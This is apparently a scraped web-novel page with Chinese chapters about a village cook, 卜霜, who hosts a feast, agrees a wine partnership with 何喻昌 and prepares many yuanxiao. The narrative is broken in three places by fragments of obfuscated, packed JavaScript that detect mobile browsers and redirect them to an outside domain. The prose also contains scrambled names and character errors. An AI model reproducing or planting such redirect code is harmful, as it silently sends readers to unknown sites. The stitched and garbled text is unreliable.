l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536433|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时间内，万辽居然跟何喻昌就已经相处的关系很好了。 他和何喻昌说：“我娘还会好多别的游戏呢，都是外面没有的，可好玩了。” “是吗？那我以后再过来的时候你要教我。”何喻昌就道。 听那话的意思，好像他以后会常常过来了。 “你要想再过来，不能骑马，也不能坐马车。”卜霜道。 “为什么啊？”何喻昌不满，“我今日为了拉风，还是特地把我祖母的马车借过来用的。” “你还说呢。”一提起这个卜霜就没好气。 上次酿葡萄酒的时候一次，这次又是一次，不仅马车更华丽，更大了，还直接停到了她的家门口。 再来那么几次，不知道传的要有多夸张呢。 “不坐马车，那我坐什么呀？”何喻昌问道。 “村里人怎么来你就怎么来，你可以走着来，也可以坐牛车，村子口和镇上都有牛车的。” “你让小爷坐牛车？那臭烘烘的还要和别人挤在一处，不行。”何喻昌想了想使劲摇头，全身都在表达着拒绝。。 “那行啊，何公子以后你就别来了。”卜霜笑了笑。 大家说笑间都落了席。 卜霜这几天因为要照顾聂鸿轩的身体，下意识的就坐在了他的旁边。 何喻昌毫不见外的就自然的坐在了卜霜的旁边，那里原本都是赵昭明占据的。 赵昭明原本脚步下意识要走过去，见被何喻昌抢了，就偷笑着自然的向后挪了。 桌子上的这些菜把四个小崽子们馋的眼睛都看直了。 那道桂花糖藕，糯米塞藕孔，蒸透的糯米藕切开，红糖慢炖，糖浆裹着藕片拉出蜜丝，桂花的香气悠悠飘散，咬上一口，藕片粉糯，糯米绵软，甜而不腻，舌尖沾着点点金桂，软糯香甜。 蟹粉狮子头个个都有拳头大的肉圆子，炖得酥烂，筷子一碰就散开，蟹粉的鲜香混着猪肉的油脂渗进汤里，舀一勺肉糜，入口即化，蟹黄的鲜甜在嘴里漫开，汤底清澈却极鲜，喝一口暖到胃里。 第105章 炸春卷 鲍鱼五花肉，五花肉炖得油亮红润，鲍鱼吸饱了酱汁，软糯弹牙。 肥肉入口即化，瘦肉酥烂不柴，酱香里带着微微的酒甜，鲍鱼咬下去，鲜汁迸溅，和肉香交织，富贵又满足。 芦笋炒虾仁，芦笋青翠脆嫩，虾仁弹牙鲜甜，大火快炒锁住汁水，蒜香提鲜，清清爽爽，吃再多也不腻。 那道金汤娃娃菜南瓜熬的金汤浓稠鲜甜，娃娃菜炖得软而不烂，吸饱了汤汁，入口即化，带着一丝奶香，鲜得人直咂嘴。 花胶鸡汤，老母鸡炖得骨肉分离，花胶软糯黏唇，汤色金黄，胶质浓得能挂勺，喝一口，鲜味从喉咙滑到胃里，浑身都暖洋洋的。 藤椒蒸鲈鱼是整鱼蒸制，肉质细嫩，淋豉油热油，藤椒的麻香混着柠檬的微酸，鲜中带辣，恨不得连最后连垫底的葱丝都挑干净。 这茶香熏鸡，鸡皮烤得金黄脆脆的，口感上脆而不腻肉，又嫩又多汁，烟熏的味道与茶香巧妙地融合在一起，创造出一种难以言喻的美妙风味。 黑蒜子牛肉，牛肉外焦里嫩，咬开爆汁，黑蒜甜糯，黑胡椒的辛香在舌尖跳跃，下酒又下饭。 黄焖羊肉煲炖得酥烂，腐竹吸饱了汤汁，酱香浓郁，微微辣意驱散寒气，冬天吃一碗，浑身冒汗，痛快！ 芦笋炒百合芦笋脆嫩，百合清甜，简单清炒却鲜味十足，吃多了大鱼大肉，来一口这个，清爽解腻。 腊味煲仔饭揭开盖子，腊肠、腊肉的油脂渗入米饭，锅巴焦香脆口，拌上酱油，咸香浓郁，一碗接一碗停不下来。 炸春卷外皮酥脆，咬开“咔嚓”一声，内馅是嫩韭黄和鲜肉，滚烫的汁水烫嘴也舍不得吐，蘸点醋更开胃。 酒酿圆子小圆子软糯，酒酿甜中带酸，桂花香若有似无，热乎乎一碗下肚，暖胃又解腻，吃完打个饱嗝，满嘴甜香。 这是这是何喻昌第二次见识卜霜做饭的手艺了。 没想到她这一桌菜，做的竟然比上次在何府做的那桌席面还要新鲜。 她到底是从哪里搜罗来了这么多他以前见都没有见过的新鲜菜。 何喻昌越了解卜霜就越喜欢她。 众人迫不及待的就开始吃了起来。 卜霜上次的席面上就很留心观察过何喻昌的口味。 他不太喜欢吃口味太重的，偏爱清淡和甜食。 那道桂花莲藕何喻昌果然特别的喜欢，筷子轻轻戳开藕段，看到蜜汁拉丝时满意地点头，又尝了一口眼睛十分享受的眯起来：“真没想到还能在冬日吃到桂花香。” 卜霜给万絮夹了一份，眼睛紧盯着她，见她学着何喻昌用筷子轻轻戳了戳糖藕，小心翼翼的吹了吹，这才敢入口，不再是急吼吼的也不看烫不烫，直接往嘴里塞，她才放心。 万絮小口咬着桂花莲藕，一只胳膊拉长，那蜜汁就拉出长长的细丝：“娘你快看，可以拉好长呢。” “我也要吃。”万辽看到了觉得好玩就嚷嚷道。 “味道怎么样啊？。”卜霜问道。 他狂点头，眼睛一亮："这藕好糯啊，这比糖还好吃呢！" 他两三下就吃完了，吃的太快，糖丝黏了一嘴，就这样了，还要舔着着嘴唇喊："我还要！" 张婶看到了熟悉的菜，她之前是吃过狮子头的，只不过卜霜做的是蟹粉狮子头。 她用调羹舀了一颗蟹粉狮子头，吹了吹，先喝汤，再吃肉，赞叹道："这蟹粉鲜得地道，肉丸入口即化，好吃。” 万絮也舀了一颗，一口咬下去，肉圆子果然就在嘴里化开，蟹黄香溢满口腔，她愣了一秒，赶紧又吃了一口你呢："这肉怎么这么嫩？" “全靠功夫。”卜霜道。 她在厨房敲这肉丸就不知道敲了有多长，手都酸了，这肉丸能不嫩吗？ 赵昭明则是在感叹："这得放了多少蟹黄啊都溢出来了。" 一点蟹黄，她都已经在感叹了，却不知道这桌上最贵的菜另有其他。 那鲍鱼红烧肉众人都没有吃过鲍鱼，不知道它的价值，只有何喻昌，张婶和聂鸿轩一眼就明白了这道菜的用价不菲。 何喻昌奇道：“你也真舍得，这鲍鱼就是我们何府也不是每顿菜都舍得吃的。” 他说完就夹了一筷子，然后美味的快说不出话了，好不容易咽下去才激动的和卜霜道。 “这鲍鱼烧的鲜甜入味，红烧肉肥而不腻。” 他又夹了一筷子芦荟炒虾仁，再次好吃的，他捂着嘴都说不出话来。 赵昭明被他夸张的表情逗笑了，说道：“有那么好吃吗？我试一试。” 一筷子吃下去才知道何喻昌真的没有夸张。 "这虾爬子炒的真嫩啊，肉里面还有汁水，原来这虾爬子不爆炒，不做成酱香的，做的如此清淡也这么好吃啊。" 聂鸿轩舀了一碗金汤娃娃菜，这是至今为止桌面上看起来最清淡的一道菜，但是他知道，卜霜做的菜绝对不会就像表面这样平平无奇的。 他喝了一口，“果然如此。” 这娃娃的菜的汤底应该是用老母鸡熬的高汤，喝起来非常的鲜，之所以是金黄色的，因为用了南瓜，而且又加了娃娃菜，所以这道菜竟然将鸡肉的鲜味和蔬菜的清爽融合在了一起。 卜霜看到聂鸿轩喝了金汤娃娃菜，笑了笑。 “我本来就准备让你喝这道菜的，这里面我放了很多南瓜很养胃。。” 这些天她总是很照顾他，聂鸿轩心中一动，笑着正要和她说些什么，对面忽然一声大喝。 “这个清爽，我喜欢！”原来是何喻昌埋头干了一碗金汤娃娃菜，砰的一下，将碗放在桌上弄出来的声音。 他一擦嘴角，舒服的又奔下一道菜去了。 卜霜已经习惯了他的一惊一乍。 聂鸿轩却是一愣，就没有把话说出口，默默的给卜霜舀了碗汤："你这汤鲜，确实喝着很舒服。" 花胶鸡汤卜霜做的时候可麻烦了，不过好在最后炖出来的胶质足够厚。 她给万絮和小万萱都盛了一碗：“这个对皮肤好，多喝一点。” “对皮肤好啊。”大壮立刻道，“那我娘也要喝一碗。” “你这个小子什么意思啊？”赵昭明立刻拧大壮的耳朵，“觉得你娘皮肤不好是吗？” “不是啊娘，我这不是想着这个汤对皮肤好，让你喝一些美容养颜的东西吗？”大床哎哟哎哟的叫唤。 众人看着他们俩都笑了。 赵昭明接过了大壮舀过来的这碗花椒鸡汤，小口抿了一口："这花胶糯而不腥，发的好，我这天天风吹日晒的，是该补补。" 聂鸿轩本来没有想喝，听到她们说的话后，默默又盛了一碗递给了张婶。 “你这孩子。”张婶笑着打他。 只有小万萱喝了一口，皱着脸吐舌头："黏糊糊的，怪怪的！" 那藤椒蒸鲈鱼把何喻昌麻得直吸气，却停不下筷子："嘶——好麻！" 卜霜看万萱也想吃，就给她把鱼刺挑出去喂了她一小块，笑道：“你昨天还说吃这个吃的舌头都没了呢。，怎么又想吃？” 万萱也说不出来，就笑。 “越麻越香啊。” 茶香熏鸡依旧是最快空盘的一道菜。 每个人手里抓着一部分鸡肉，吃的满手都是油。 何喻昌撕了一只鸡腿："你这个人对茶一窍不通，还挺会用茶叶做菜的，上次做了龙井虾仁，这次又做了茶香熏鸡，都好吃，就是吃这熏鸡的时候要是有一壶甜甜的果子酒就好了。" 卜霜眼睛一亮。 这不就是正中她下怀吗？ 她立刻道：“果子酒我有啊。” “嗯？”何喻昌本来只是随口一说，没想到她真有。 卜霜从地窖去了一壶葡萄酒，递给何喻昌。 “你试一试。” 何喻昌拿到手之后，打开酒坛子一闻，惊喜道：“这西域的葡萄酒你是哪儿来的？” 他边说边往碗里倒酒，又陶醉的在鼻尖闻了一口。 “陈香醇厚甘甜，是好酒！”说完之后一仰头喝了一碗。 “怎么样？”卜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536434|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霜看着他。 “太好喝啦！”何喻昌瞪大眼睛惊喜的看着卜霜：“感觉比我之前喝到的葡萄酒要更醇厚，你从哪里买的？很贵吧？。” 卜霜一看他这个样子，心里就有了把握。 “这酒不是买的，是我亲手酿的，你尽管喝，你要是喜欢的话，等会儿可以再带几坛子走。” 何喻昌一听，眼睛立刻亮了起来，兴奋的：“这居然是你酿的，这味道一点都不像镇上的酒铺子能做出来的，我还以为你从哪个西域商人的手里买的呢，真的真的可以给我带几坛子？这可是你说的啊，那我走的时候可就要带走了。” “谁骗你？你想带多少带多少。”卜霜看着他的样子有点好笑。 何喻昌也不客气，笑嘻嘻的又倒了一碗酒。 看着他那副满足的样子，卜霜心里不禁暗暗发笑。 黑蒜子牛肉粒昨日就是很受欢迎的菜，今日依旧很受欢迎，孩子们手里端着一碗米饭，都不断的往里面加牛肉，被辣得直喝水，却还偷偷往嘴里塞牛肉，辣得眼泪汪汪也不停。 小丫鬟看他们吃的那么香，也舀了一勺，她把蒜挑出来放一边，看着碗里面的黑蒜子牛肉有点难以下口："黑乎乎的，看着怪吓人。" 结果尝了一颗后，她就真香了："好辣！但是好好吃！" 今晚的黄焖羊肉煲和芦笋炒百合，对大家来说可能已经吃过了，但对何喻昌主仆来说，这还是他们头一回尝。 腊味煲仔饭一揭开锅盖，那香味儿就飘出来了，整个房间都香喷喷的，大家都忍不住“哇”了一声，伸长脖子使劲儿闻那香味儿。 孩子们最感兴趣的还是那锅巴，咬起来咔嚓咔嚓的，他们抢着吃那香脆的锅巴。 卜霜给每个人盛的腊味煲仔饭，腊肠腊肉都分得很均匀。吃煲仔饭得拌一拌，让酱汁和饭粒混得均匀。 有人尝了之后说：“这肉腌得正好，不咸不淡，真好吃。” 小万萱吃得太起劲，饭粒粘了一脸，被卜霜拎去洗脸了，那场面既温馨又搞笑。 炸春卷一口一个，嘎嘣脆，赵昭明夸个不停：“这春卷皮儿酥脆，馅儿也鲜美，真好吃。” 万辽直接用手抓着吃，虽然烫得直吹气，但还是忍不住往嘴里塞，享受着美味。 张婶吃东西就优雅多了，她蘸着酱料，小口咬一口，然后满意地点头：“这馅儿真鲜美，韭黄也嫩得刚刚好。” 吃完饭，大家都摸着肚子，满足地感叹：“这顿饭吃得真舒服。” 大家以为饭局结束了，卜霜又给每人端上一碗酒酿圆子。 张婶慢慢吃着酒酿圆子，满意地说：“这酒酿圆子甜度正好，真好吃。” 何喻昌喝完甜汤，满足地叹气，心想自己在家过年都没吃过这么多好东西。 小万萱把碗里的圆子都吃光了，只剩下汤，她抱着圆滚滚的肚子，在卜霜身上打滚，嘴里还说：“我吃得太饱了，再也吃不下了。” 万路本来不喝甜汤，但尝了一口之后，默默地把碗递过去，说：“再来点。” 这桌菜真是太好吃了，味道刚刚好，有肉有菜，从甜到咸，从清淡到浓郁，每一道都让人忘不了。 江南的细腻和北方的粗犷，全都在这一桌菜里体现了。 赵昭明和张婶抢着把碗筷收拾走了。 孩子们去院子里继续打沙包去了，聂鸿轩本来没想走，卜霜把他支了出去。 “何喻昌，你觉得我酿的葡萄酒怎么样？”卜霜直接问。 “太好喝了，我还没问你，你是怎么酿的这葡萄酒？” 卜霜就笑了，“其实，酿这酒你也是出了力的。” 何喻昌一脸懵，想了想，眼睛逐渐变大了：“你，你是说上次种的那些山葡萄树？原来你是打算用它们酿酒的。” “这山葡萄也能酿葡萄酒吗？” “不是每一颗山葡萄树都可以，我现在酿了一批准备卖呢。”卜霜正想着怎么跟他说让他回去推荐给何老夫人。 “我全要了，你有多少这种葡萄酒，都送到何府吧。” 第106章 花胶鸡汤 卜霜没有想到何喻昌就这么痛快的就答应了，不止如此，他还直接收了她这次酿的所有的葡萄酒。 “你不需要问问你祖母吗？”卜霜道。 “别人的东西或许我要和祖母请示一下，但是这葡萄酒是你酿的，你是我的朋友，我自然相信你，我也尝过了味道，是一等一的好酒，就不用那么麻烦了。”何喻昌道。 “那你就不怕买了我的酒，我的酒却卖不出去吗，那岂不是要亏了？”卜霜又问道。 “怎么可能？你这种品质的葡萄酒如果卖不出去的话，那镇上的这些酒铺还怎么做下去。”何喻昌就道，“再说了，如果真的卖不出去的话，大不了我就收在酒窖里面自己喝。” 卜霜被何喻昌这种有钱无所畏惧的样子逗笑了，这种话恐怕也只有他能说得出口，怪不得之前何府管家总是对这个小公子没辙。 卜霜道：“我可不会因为我们是朋友，就把葡萄酒便宜卖给你的。” “小爷我有的是钱，就怕你开价低还不够我出手的，说吧，怎么卖？”何喻昌抖抖衣服又坐了回去，谈起生意来就有了几分稳健的模样，可能是和他家长辈学的。 “这葡萄酒我不卖，我只和你们合作。”卜霜就道。 “?0?2哦？怎么合作呢？”何喻昌有了点兴趣，问道。 “我把我的葡萄酒供应给你们何府所有的酒楼和铺子，这葡萄酒呢，你们要多少我就有多少，就像我的卤味一样，但是这些葡萄酒我不是卖给你们的，而是寄放在你们的店里进行出售，每月出售的所有的月银，你们何府和我五五分成。” “卜霜，你胃口有点大呀，我们何府那么多产业，你用了我们的渠道，让我们进行包装宣传，卖给我们的食客，竟然还想要何府一半的分成？”何喻昌挑了挑眉，没有一点施压的感觉，更像是一种欣赏。 卜霜自信一笑：“所以我才来找你啊，何喻昌，如果只是把葡萄酒卖出去的话，我找任何人都可以，但是我的葡萄酒一定可以给你们带来一笔不菲的收益。根本。” 何喻昌仔细想了一想。 哎呀，这个事情比他想象中的要难办嘛。 他原本以为只是买一批葡萄酒的事情，那他完全就可以自行办了，不用告诉祖母。 可是没想到卜霜的胃口大的很，如果是要何府产业每月的收益五五分成的话，那他也似乎不能一个人就决定了的。 可是他之前又答应了卜霜了，他这个人说出的话向来都很守信的。。 卜霜真是爱给他出难题。 卜霜就一直盯着何喻昌。 直到何喻昌忽然一拍桌子：“不管了，既然我已经答应了你，那就依你说的办，一切责任由我承担。” 卜霜不得不说，何喻昌确实是一个很仗义的朋友。 听到何喻昌答应，卜霜心中一喜，这批葡萄酒她已经做了出来，只要明日送到何府府上，不出一个月她就会有大笔银钱入手，这样一来，手里的前就终于够她买心仪的那片地了。 这些葡萄酒所赚的钱在卜霜的计划里是很重要的，她的铺子上的新菜所赚的收益，以及香胰子作坊和牙刷牙粉作坊每月所占的分成，和卖葡萄酒所得的分成来说都是九牛一毛。 所以她之前赚了那么久的钱都不够买地，但是葡萄酒只要一售出，不出一个月，她就可以买下那片地。 而且这些葡萄酒对于葡萄想要开酒楼的计划也是很重要的，她要开酒楼，除了需要资金之外，还需要一定的名气。 而这些印着卜记食铺的葡萄酒坛子，通过何府名下的酒楼流向**，就是她给自己积攒力气的最好的办法。 “我说要送你几坛酒，所以你走的时候想拿多少拿多少，这个不算是我和你的交易。”卜霜忽然道。 “那是？”何喻昌问道。 “这是我对朋友的情谊。”卜霜就笑了。 何喻昌和卜霜对视了一会儿，他可终于从卜霜的嘴里听到朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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何掌柜就去了院子，随意打开了一坛葡萄酒，然后用竹筒舀出来倒在碗里，他先看过那葡萄酒的颜色，然后又闻了闻，最后才品了一口，点点头，之后他又随机打开几坛葡萄酒，都查阅过之后，就让小厮都搬到了马车上。 第107章 元宵 他们这群人的阵势实在是太浩大，张扬的进来，又张扬的出去，好像生怕有人注意不到他们。 村子里好多人家都出来看他们。 这下子大家就都知道卜霜和何府做了大生意。 卜霜眯了眯眼，忽然有一些念头。 何喻昌真的只是觉得她人手不够，才兴师动众的请了这么多人过来取酒吗？ 还是她上次和他说不要坐马车来找她之后，何喻昌回家后想明白是为什么了。 于是用这个方法变相的替他解围。 帮他把村子里之前那些都解释清楚。 卜霜忽然觉得，原来这何喻昌，也有很细心的一面。 转眼就到了元宵节，这一天家家户户都要吃元宵，出去游街看花灯。 元宵有各种吃法，可以煮可以炸，可以和其他的饮品搭配起来，而且里面还会装各种的馅料。 一般食铺子里也会提前做好出售，人们买上食铺子里的元宵，当天直接下进锅里一煮就可以吃了。 有卜霜在，自然是不需要再去买夜宵，卜霜自己就可以做，而且做出来外面卖的都好吃。 而且有了她，赵昭明和张婶也不用元宵了。 她只要在做的时候多做一些元宵，其他两家的元宵就可以包圆了。 这也是一个很好的赚钱的机会，卜霜也想做一些元宵，放到自己家的食铺子里卖。 卜霜准备做一些煮的元宵和一些炸的元宵，再来一些酒酿的元宵和拔丝的元宵。 每种元宵她都要做一些彩色的。 每个的个头包的大一些，到时候一个汤碗里一只能放下一个元宵，又好看又好吃。 传统的元宵也叫摇元宵。 是用糯米粉，黑芝麻馅，混合白糖和猪油搓成小球，然后放进糯米粉里，晃动箩筐，让里面的小球均匀的粘上糯米粉做成的。 大家最常吃的也就是黑芝麻馅儿的这种元宵。 卜霜自然是多要做一些的。 她把黑芝麻炒香磨碎，混合白糖和软化的猪油混合拌匀，搓成小球放入院子外定型。 然后就进行第一次滚粉。 卜霜将冻硬的馅料球蘸上清水，迅速放入铺着糯米粉中的箩筐中滚动，使表面粘满糯米粉。 捞出后再次蘸水，然后继续滚糯米粉。 就这一样一直滚粉，重复好多次，直到滚到想要的元宵大小。 每次蘸水后要控掉多余水分，避免粉层过厚或开裂。 馅料蘸水后放入糯米粉中摇晃，裹一层粉。 之后将滚好的元宵放在干燥的地方晾着，让外面的糯米粉变得牢固，防止煮的时候散开。 传统的黑芝麻元宵做好之后，卜霜又用同样的方法，做了一些不同馅料的元宵。 花生馅元宵，豆沙馅元宵，枣泥馅元宵。 卜霜把生花生仁放入无油锅中小火炒香，去皮后轻轻搓掉外衣，然后将花生仁打碎，加入白糖、猪油混合均匀，加熟芝麻和少许花生酱。 然后她将馅料搓成小球，放入院子里冷冻变硬。 加下来就是和面做皮，糯米粉加温水揉成光滑面团，盖湿布醒发防干裂。 取小块面团搓圆压扁，捏成小碗状，包入冻硬的花生馅，用虎口收口搓圆。 花生馅元宵就做好了，香甜浓郁，口感细腻。 接下来要做红豆馅元宵，卜霜将红豆提前浸泡，加清水煮至软烂。 然后她将煮好的红豆沥水，打成细腻糊状，之后不粘锅小火加热，倒入豆沙糊翻炒至水分减少，分次加入糖和油，持续翻炒至豆沙成团、不粘锅铲即可。 豆沙冷却后，分成小球，冷藏定型。 炒好豆沙馅之后，就可以包豆沙元宵了。 包的时候有两种方法。 可以手工包汤圆，也可以摇元宵。 手工包汤圆就是糯米粉分次加温水揉成光滑面团。 取面团搓圆压扁，放入豆沙馅，用虎口收口捏紧，再搓圆。 包好后撒干糯米粉防粘。 摇元宵就是蘸水滚粉，豆沙馅球蘸清水，放入糯米粉中摇晃裹粉，重复蘸水，直到形成均匀的元宵球。 口感香甜软糯。 枣泥馅元宵也是要先做馅料，卜霜把红枣洗净，蒸熟后剥皮去核。 放入锅中加清水没过红枣，煮至软烂。 然后将煮软的红枣捞出，打成细腻糊状，过筛去掉枣皮。 不粘锅小火倒入枣泥，分次加入植物油翻炒至吸收。 加糖继续翻炒，直到枣泥成团、不粘锅铲。 晾凉后搓成小球，放院中冷冻。 冷冻枣泥馅蘸清水，放入糯米粉中摇晃，裹一层粉。 重复蘸水、裹粉，直到形成均匀圆球。 煮元宵就是糯米粉分次加温水揉成光滑面团。 取面团捏成小碗状，放入枣泥馅，用虎口收口搓圆。 水开后元宵下锅，轻轻推动防粘，煮至元宵浮起即可。 接下来做五仁馅元宵。 首先要准备坚果仁，核桃仁、花生仁、杏仁、瓜子仁、白芝麻。 果脯，冬瓜糖，桔饼，糖渍橙皮。 还有熟糯米粉、白糖、蜂蜜，麦芽糖。 卜霜将核桃、花生、杏仁等坚果炒熟，去皮后切碎。 白芝麻、瓜子仁干锅炒香。 然后将坚果碎、果脯碎、白糖、熟糯米粉混合均匀，加入蜂蜜和猪油，少量多次加清水，边加边搅拌，直到能捏成团不散开。 将馅料分开，搓成小球，冷冻。 之后摇元宵就是将冷冻的五仁馅蘸清水，放入糯米粉中摇晃，裹一层粉。 重复蘸水、裹粉，直到馅料裹上厚厚糯米粉层，形成圆球。 煮元宵就是水开后下元宵，转中火煮至浮起，加少量冷水再煮一会儿。 煮元宵就很简单，水开后元宵下锅，轻轻推动防粘，煮至元宵浮起即可。 接下来苹果就去做油炸元宵。 油炸元宵容易溅油，所以做的时候要小心。 卜霜在已经冷冻了元宵上加上几个小孔，这一步是为了让热气排出，防止爆开。 然后他将元宵结果上一层鸡蛋液，然后再滚一层面包糠，这样炸出来的月销会更加的香脆。 然后热锅烧油，筷子插入冒小泡为止，把元宵轻轻放入油锅中，不停地翻动，炸至元宵表面微黄浮起，捞出沥油。 然后再复炸一遍，这样炸出来的院校就变得金黄，外皮也更加脆。 这两种元宵做出来之后，卜霜就开始做各种新鲜的元宵。 接下来她准备做酒酿元宵。 酒酿元宵用的是小元宵，也就是要包一些无馅料的糯米小元宵，定型之后。。 卜霜将锅中加水烧开，放入小元宵，中火煮至浮起，捞出过凉水防粘。 然后另起一锅，倒入清水烧开，加入酒酿轻轻搅散。 之后放入枸杞、冰糖调味，再用中小火煮一会儿。 将煮好的小元宵放入酒酿汤中，搅拌均匀。 然后用水淀粉调匀后缓缓倒入汤中，边倒边搅拌至微微黏稠。 还有一种酒酿元宵是可以加蛋花的。 只要将打散的鸡蛋液缓缓淋入汤中，静置后再用勺子轻轻推动，形成蛋花。 然后再把酒酿元宵加上干桂花或糖桂花增香，趁热吃就可以了。 这种酒酿元宵甜香暖胃。 接下来卜霜又开始做拔丝元宵，这种元宵结合了元宵的软糯和拔丝的酥脆。 做法比较复杂，卜霜要先将元宵表面扎上几个小孔，然后在油锅里炸到表面金黄浮起，捞出沥油。 之后在锅里放入白糖和清水，中火熬化，过程中不要搅拌。 等到糖浆从大泡泡变成了密集的小泡泡，颜色变得微黄再继续熬制，直到用筷子蘸糖浆可以拉丝为止。 之后将炸好的夜宵倒入糖浆中快速翻动，让元宵均匀的裹上糖浆，就可以装盘了。 接下来她开始做椰蓉元宵。 卜霜将糯米粉倒入碗中，分别加入温水，边加边搅拌成絮状，再揉成光滑不沾手的糯米团。 之后她又选了几个糯米团，加入了南瓜粉，紫薯粉，做成了彩色的面团。 然后卜霜将面团分成小剂子，搓圆后压扁，放入馅料后收口搓圆。 然后水烧开放入元宵，煮到浮起之后捞出过凉水。 再将煮好的元宵沥干水分，在融化的黄油中滚一下，再趁热放入椰蓉中滚一圈。 再把它放到院子里冷却。 这样的椰蓉元宵软糯不腻，小孩子们都喜欢吃。 之后卜霜又开始做一些咸口的鲜肉汤圆。 她将干香菇泡发后切碎，热锅加少许油炒香备用。 然后在猪肉末里加入姜末、生抽、老抽、料酒、白糖、胡椒粉，顺一个方向搅拌上劲，再加入香菇碎、香油、葱花拌匀。 接下来卜霜将糯米粉加盐混合，分次加温水，用筷子搅成絮状后，揉成光滑面团。 然后盖上湿布醒发，避免干裂。 接下来就是包汤圆了。 卜霜取面团搓长条，分小剂子，搓圆后捏成碗状。 填入馅料后，用虎口收口捏紧，再搓圆。 水开后转中火，下汤圆轻推防粘，煮至浮起后再加半碗冷水，再次煮沸即可。 她在碗中放紫菜、虾皮、葱花、盐、鸡精，冲入煮汤圆的水，然后捞入汤圆，咸味鲜肉汤圆就做好了。 之后卜霜又做了好多不同馅料的咸味肉汤圆。 她把新鲜荠菜洗净，沸水加入盐焯烫，捞出挤干水分切碎。 然后在猪肉末里加入生抽、盐、糖、胡椒粉、葱姜水，顺时针搅拌至黏稠，加入荠菜碎和香油拌匀，冷藏更入味。 糯米粉分次加温水，揉成光滑不粘手的面团，盖湿布防干。 取面团搓长条，分小剂子，搓圆后捏成碗状。 填入荠菜肉馅，用虎口收口捏紧，搓圆，皮包的厚一点防止下锅后开。 水沸后下汤圆，中火煮至浮起，调汤底。 碗中放紫菜、虾皮、葱花、盐、香油，冲入煮汤圆的水，再盛入汤圆。 这样荠菜鲜肉汤圆就做好了，这样做出的荠菜鲜肉汤圆鲜味十足。 香菇鸡肉汤圆，要将干香菇提前泡发，挤干水分后切小丁。 热锅加少许油，将香菇丁炒香，盛出备用。 然后处理鸡肉，鸡胸肉剁成细腻的。 再加入姜末、生抽、蚝油、料酒、白糖、白胡椒粉、香油、淀粉，顺一个方向搅拌上劲。 分次加入高汤，继续搅拌至吸收。 最后拌入炒香的香菇丁，放院中冷藏。 糯米粉加温水揉成光滑面团，盖湿布醒，分成小剂子，搓圆后压成中间厚、边缘薄的圆皮。 取一张皮，放入适量香菇鸡肉馅，用虎口慢慢收口捏紧，搓圆。 包好后可撒少许干糯米粉防粘。 煮好汤圆后可搭配紫菜、虾皮、葱花、生抽调成的清汤，或直接淋少许辣椒油，也可以用鸡汤，青菜煮成咸汤圆，更鲜美。 这样做出的香菇鸡肉汤圆鲜嫩不腻。 蛋黄肉松汤圆要从处理咸蛋黄开始做起。 咸蛋黄喷白酒去腥，蒸至出油，压碎成沙状。 然后用锅融化黄油，加入咸蛋黄碎翻炒至起沙。 关火后趁热加入肉松、糖、奶粉拌匀，捏成团。 将馅料分开，搓圆后冷冻。 然后糯米粉加盐混合，分次加温水揉成光滑面团。 取糯米皮搓圆压扁，边缘捏薄，包入冻硬的馅料，用虎口收口搓圆。 如果开裂，可蘸少许水修补。 煮好的汤圆既有蛋黄的绵沙咸香，又有肉松的酥脆口感，搭配软糯的糯米皮，非常好吃。 接下来她开始做一些创新的汤圆。 卜霜准备做流心奶黄汤圆。 首先要制作流心馅，她把咸蛋黄蒸熟后压碎过筛，然后加入软化的黄油、糖、奶粉、椰浆混合均匀。 然后她将馅料分成小球，放入院中冷冻??。 糯米粉中分次加入温水，用筷子搅成絮状后揉成光滑面团，盖湿布防干。 取面团压成圆皮，就可以包汤圆了。 她先取一颗冻硬的流心馅，快速用糯米皮包裹，捏紧收口搓圆，动作很快，避免馅料融化。 然后将包好后的汤圆撒上糯米粉防粘，不吃的时候可以放在院子里冷冻保存，想吃的时候再煮。 水开后转中小火，放入汤圆轻轻推动防粘。 煮至浮起后加半碗冷水，再次煮开即可捞出。 这流心奶黄汤圆切开后是会流心的，口感香甜。 接下来卜霜又开始做水晶紫薯汤圆。 第108章 黑芝麻馅元宵 先制作紫薯馅，她将紫薯去皮切块，蒸熟压成泥。 锅里加热，放入紫薯泥、黄油、炼乳、白糖，翻炒至成团不粘手。 放凉后搓成小球，放到院中冷藏。 接下来开始制作水晶皮，卜霜将木薯粉和糖混合，倒入沸水，快速搅拌成絮状，稍凉后揉成光滑面团，这样做出来的面团是透明的。 分小块，搓圆后盖湿布防干裂。 然后取面团压扁，捏成小碗状，放入紫薯馅，用虎口收口搓圆。 水开后下汤圆，煮后外皮晶莹剔透。 镇上卖的元宵品种馅料并不很多，而卜霜自己做的品种和馅料就多了去了，就分为传统煮着吃的元宵，炸元宵，酒酿元宵，拔丝元宵。 传统煮着吃的元宵里又有，黑芝麻馅元宵，花生馅元宵，豆沙馅元宵，枣泥馅元宵，五仁馅元宵。 炸元宵里也有这么多馅。 酒酿元宵是没有馅的小元宵。 她还做了很多咸口的肉汤圆，还有奶黄汤圆和水晶紫薯汤圆。 咸口的肉汤圆里又有，鲜肉馅汤圆，芥菜鲜肉馅汤圆，香菇鸡肉馅汤圆，蛋黄肉松馅汤圆。 奶黄汤圆的特点是咬一口会流心。 水晶紫薯汤圆的特点是皮是透明的。 这每种元宵和汤圆他都用紫薯泥，菠菜汁，南瓜泥做了很多不同的颜色。 苹果敢说，不管是镇上还是县城里，再没有人卖的元宵种类能有她这么多了。 卜霜炸元宵的时候，赵昭明正好过来串门。 那元宵放在油锅之后，油花就噼里啪啦的四处溅。 